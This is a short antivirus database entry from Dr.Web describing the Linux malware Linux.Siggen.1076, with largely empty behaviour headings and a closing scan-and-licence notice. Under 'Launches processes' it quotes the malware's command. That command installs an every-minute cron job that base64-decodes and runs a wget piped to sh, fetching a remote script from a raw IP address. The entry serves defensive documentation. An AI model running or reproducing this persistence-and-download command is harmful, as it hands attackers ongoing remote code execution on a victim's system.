Linux.Siggen.1076

Added to the Dr.Web virus database: 2018-10-02

Virus description added: 2018-10-02

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Launches processes:

sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvX3Uuc2h8c2g=\" | base64 -d |sh > /dev/null' | crontab -;
crontab -

Kills system processes:

Kills the following processes:

Performs operations with the file system:

Creates or modifies files:

Locks files:

Network activity:

HTTP GET requests:

Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

One month (no registration) or three months (registration and renewal discount)

Download by serial number